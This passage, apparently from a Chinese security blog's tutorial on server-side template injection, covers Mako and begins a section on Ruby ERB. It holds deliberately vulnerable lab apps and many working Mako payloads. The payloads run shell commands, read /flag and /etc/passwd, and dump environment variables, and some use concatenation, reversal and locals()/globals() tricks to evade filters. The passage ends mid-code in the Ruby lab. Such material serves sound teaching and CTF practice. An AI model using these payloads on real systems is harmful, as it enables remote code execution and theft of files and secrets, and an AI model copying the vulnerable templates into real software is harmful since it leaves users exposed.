style=\"color:#B56959;--shiki-dark:#C98A7D\">    &#x3C;/html></span></span>\n<span class=\"line\"><span style=\"color:#B56959;--shiki-dark:#C98A7D\">    \"\"\"</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    </span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    try</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 3. Mako 编译并渲染这个包含用户输入的模板</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> Template</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">template_str</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">render</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">    except</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> Exception</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> as</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">        # 为了方便调试，我们将报错信息也打印出来</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> f</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"Error: </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#998418;--shiki-dark:#B8A965\">str</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">\"</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">if</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __name__</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> ==</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">__main__</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">:</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 为了安全起见，只绑定在 127.0.0.1（仅本机可访问）</span></span>\n<span class=\"line\"><span style=\"color:#A0ADA0;--shiki-dark:#758575DD\">    # 不要将其改为 0.0.0.0</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    app</span><span style=\"color:#999999;--shiki-dark:#666666\">.</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">run</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">host</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">127.0.0.1</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\"> port</span><span style=\"color:#999999;--shiki-dark:#666666\">=</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\">5000</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span></code></pre>\n<p>将其编写为makos.py文件然后通过下面这段命令启动</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>python3 makos.py</span></span></code></pre>\n<p>我们在Linux中用这串脚本实现MakoSSTI注入</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/13.png\" class=\"\"></p>\n<p>有了jinja2的参考，这个的攻击手法也很明显了，而且mako语法中具有完全支持python语法的符号</p>\n<p>但这里不得不提到为什么jinja2的语法不能实现mako的模板注入了：</p>\n<p>Jinja2默认在一个受限的环境（沙箱）里运行，不允许你直接导入<code>os</code>模块。攻击者必须通过内置对象（比如Flask默认传入的<code>config</code>变量），利用Python的类继承关系（MRO），一步步向上爬到顶级类，然后再找到导入了<code>os</code>模块的函数</p>\n<p>并且我们可以尝试传入<code>$&#123;[].__class__&#125;</code>，会发现它回显为空</p>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/14.png\" class=\"\"></p>\n<p>这就似乎说明了不存在继承关系</p>\n<h3 id=\"subprocesspopen执行命令\"><a class=\"anchor\" href=\"#subprocesspopen执行命令\">#</a> subprocess.Popen执行命令</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123;__import__('subprocess').Popen('cat /flag',shell=True,stdout=-1).communicate()[0].strip()&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/26.png\" class=\"\"></p>\n<h3 id=\"os执行命令\"><a class=\"anchor\" href=\"#os执行命令\">#</a> os执行命令</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123;__import__('os').popen('cat /flag').read()&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/15.png\" class=\"\"></p>\n<p>不难发现这个payload和本博客之前提到的沙箱逃逸内容一样</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%import os%0ax=os.popen('cat /flag').read()%></span></span>\n<span class=\"line\"><span>$&#123;x&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>os.popen('cat /flag').read()</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/16.png\" class=\"\"></p>\n<h3 id=\"importlib执行命令\"><a class=\"anchor\" href=\"#importlib执行命令\">#</a> importlib执行命令</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%import importlib%0a</span></span>\n<span class=\"line\"><span>result = importlib.import_module('os').popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>%>$&#123;result&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>import importlib</span></span>\n<span class=\"line\"><span>result = importlib.import_module('os').popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>print(result)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/17.png\" class=\"\"></p>\n<h3 id=\"sys执行命令\"><a class=\"anchor\" href=\"#sys执行命令\">#</a> sys执行命令</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%import sys%0a</span></span>\n<span class=\"line\"><span>result=sys.modules['os'].popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>%>$&#123;result&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>import sys</span></span>\n<span class=\"line\"><span>result=sys.modules['os'].popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>print(result)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/18.png\" class=\"\"></p>\n<h3 id=\"open读取文件\"><a class=\"anchor\" href=\"#open读取文件\">#</a> open读取文件</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%a=open('/flag').read()</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>print(open('/flag').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/19.png\" class=\"\"></p>\n<h3 id=\"codecs读取文件\"><a class=\"anchor\" href=\"#codecs读取文件\">#</a> codecs读取文件</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%import codecs</span></span>\n<span class=\"line\"><span>%0aa=codecs.open('/flag').read()</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>import codecs</span></span>\n<span class=\"line\"><span>print(codecs.open('/flag').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/20.png\" class=\"\"></p>\n<h3 id=\"getline读取文件\"><a class=\"anchor\" href=\"#getline读取文件\">#</a> getline读取文件</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%a=__import__(\"linecache\").getline('/flag',1)</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>print(__import__(\"linecache\").getline('/flag',1))</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/21.png\" class=\"\"></p>\n<h3 id=\"getlines读取文件\"><a class=\"anchor\" href=\"#getlines读取文件\">#</a> getlines读取文件</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%import linecache%0a</span></span>\n<span class=\"line\"><span>a=linecache.getlines('/flag')</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>import linecache</span></span>\n<span class=\"line\"><span>print(linecache.getlines('/flag'))</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/22.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%a=__import__(\"linecache\").getlines('/flag')</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>print(__import__(\"linecache\").getlines('/etc/passwd'))</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/23.png\" class=\"\"></p>\n<h3 id=\"env获取环境信息\"><a class=\"anchor\" href=\"#env获取环境信息\">#</a> env获取环境信息</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%import os%0a</span></span>\n<span class=\"line\"><span>a=os.popen('env').read()</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>print(os.popen('env').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/24.png\" class=\"\"></p>\n<h3 id=\"environ获取环境信息\"><a class=\"anchor\" href=\"#environ获取环境信息\">#</a> environ获取环境信息</h3>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%import os%0a</span></span>\n<span class=\"line\"><span>a=os.environ</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>import os</span></span>\n<span class=\"line\"><span>print(os.environ)</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/25.png\" class=\"\"></p>\n<h3 id=\"绕过\"><a class=\"anchor\" href=\"#绕过\">#</a> 绕过</h3>\n<p>既然是符合python代码的，那么沙箱逃逸所提到的拼接绕过，字符串变化也适用于Mako模板注入，这里就不过多赘述了，大家也可以自己试一下，这里展示了拼接绕过和字符串变化绕过</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%b = 'o'%0a</span></span>\n<span class=\"line\"><span>a = 's'%0a</span></span>\n<span class=\"line\"><span>c=__import__(b%2Ba).popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>%>$&#123;c&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>b = 'o'</span></span>\n<span class=\"line\"><span>a = 's'</span></span>\n<span class=\"line\"><span>__import__(b+a).popen('cat /flag').read()</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/27.png\" class=\"\"></p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>&#x3C;%a=__import__('so'[::-1]).popen('cat /flag').read()</span></span>\n<span class=\"line\"><span>%>$&#123;a&#125;</span></span>\n<span class=\"line\"><span>对应：</span></span>\n<span class=\"line\"><span>print(__import__('so'[::-1]).popen('cat /flag').read())</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/28.png\" class=\"\"></p>\n<p>这里再提几个特殊的：</p>\n<h4 id=\"globals\"><a class=\"anchor\" href=\"#globals\">#</a> globals()</h4>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123; globals()['__built'%2B'ins__']['__imp'%2B'ort__']('o'%2B's').popen('cat /flag').read() &#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/29.png\" class=\"\"></p>\n<h4 id=\"locals\"><a class=\"anchor\" href=\"#locals\">#</a> locals()</h4>\n<p>locals()函数会返回一个字典，里面包含了当前局部作用域内所有的变量名和它们对应的值</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123;locals()&#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/30.png\" class=\"\"></p>\n<p>如果过滤了<code>context</code>这个词，我们就可以使用可以通过<code>locals()</code>获取字典，然后用字符串拼接的方式去取值：<code>locals()['con' + 'text']</code></p>\n<p>如果locals()中存在request对象，我们就可以把恶意代码写在另一个不被waf检查的参数中：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123;locals()['req'+'uest'].args.get('cmd')&#125;&#x26;cmd=__import__('os').popen('cat /flag').read()</span></span></code></pre>\n<p>另外我们还可以用<code>__M_writer</code>，它是Mako引擎用来向页面输出内容的内置函数，在Python的底层机制中，只要是一个用Python编写的函数，它就必定拥有<code>__globals__</code>属性，而<code>__globals__</code>里面有<code>__builtins__</code>内建函数，不过在某些版本中，<code>__M_writer</code>绑定到了底层 C 语言实现的<code>_io.StringIO.write</code>上，而C语言底层写的内置函数或包装器，没有<code>__globals__</code>属性</p>\n<p>由于我这里就是C语言实现的，所以只能给两个可能的payload了：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123; locals()['__M_wri'+'ter'].__getattribute__('__glo'+'bals__')</span></span>\n<span class=\"line\"><span>['__built'+'ins__']['__imp'+'ort__']('o'+'s').popen('ca'+'t /fl'+'ag').read() &#125;</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123; __M_writer.__globals__['__builtins__']['__import__']('o'+'s').popen('cat /flag').read() &#125;</span></span></code></pre>\n<p>所以一种与context有关的payload是：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>$&#123; locals()['con' + 'text'].__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read() &#125;</span></span>\n<span class=\"line\"><span>当然，没有过滤context的话也可以：</span></span>\n<span class=\"line\"><span>$&#123; context.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read() &#125;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/04/11/SSTI%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/31.png\" class=\"\"></p>\n<h1 id=\"ruby\"><a class=\"anchor\" href=\"#ruby\">#</a> Ruby</h1>\n<p>在ERB模版中，payload的主要结构由ERB标签和Ruby原生代码两部分组成。</p>\n<p>ERB标签结构：</p>\n<p><code>&lt;%= code %&gt;</code>：输出标签，执行其中的ruby代码，并将结果转化为字符串回显在HTML页面上</p>\n<p><code>&lt;% code %&gt;</code>：静默标签，执行其中的ruby代码，但不输出任何内容，常用于定义变量，写循环或者条件判断，或者在不需要回显时执行盲注命令</p>\n<p><code>&lt;%# comment %&gt;</code>：注释标签，里面的内容会被完全忽略</p>\n<h2 id=\"本地靶场测试-2\"><a class=\"anchor\" href=\"#本地靶场测试-2\">#</a> 本地靶场测试</h2>\n<p>该靶场也是由Linux搭建，具体流程如下：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>#安装sinatra框架和webrick服务器（新版Ruby需要手动安装webrick）</span></span>\n<span class=\"line\"><span>sudo gem install sinatra webrick</span></span>\n<span class=\"line\"><span>#创建带有漏洞的文件</span></span>\n<span class=\"line\"><span>nano rubyy.rb</span></span></code></pre>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-erb\"><span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">require 'sinatra'</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">require 'erb'</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"># 配置服务器监听所有 IP（0.0.0.0），方便你从宿主机物理机访问</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"># Sinatra 的默认端口是 4567</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set :bind, '0.0.0.0'</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">set :port, 4567</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">get '/' do</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  # 1. 获取 GET 请求中的 name 参数，如果没有则默认为 'Hacker'</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  user_input = params</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">[</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">:name</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">]</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> || 'Hacker'</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  # 2. 🚨 核心漏洞点：直接将用户输入拼接到模板字符串中</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  # 在 Ruby 中，双引号内的 #</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">...</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> 会执行字符串插值</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  template_string = %</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">html</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">body</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">h2</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Welcome to Ruby ERB SSTI Lab</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">h2</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">p</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Hello, #</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">user_input</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">!</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">p</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">p</span><span style=\"color:#999999;--shiki-dark:#666666\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">Try to inject some Ruby code...</span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">p</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">      </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">body</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#999999;--shiki-dark:#666666\">&#x3C;</span><span style=\"color:#999999;--shiki-dark:#666666\">/</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">html</span><span style=\"color:#999999;--shiki-dark:#666666\">></span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  </span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  </span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  begin</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    # 3. 使用 ERB 渲染这段被污染的模板字符串</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    # binding 是 Ruby 的一个内置方法，它会将当前的变量上下文（局部变量等）传递给 ERB 引擎</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    ERB.new</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">template_string</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">.result</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">binding</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">  rescue =</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">></span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\"> e</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    # 捕获并打印错误，方便你调试 Payload</span></span>\n<span class=\"line\"><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">    \"Error: #</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">e.message</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span><span style=\"color:#393A34;--shiki-dark:#DBD7CAEE\">\"</span></span>\n<span class=\"line\"><span 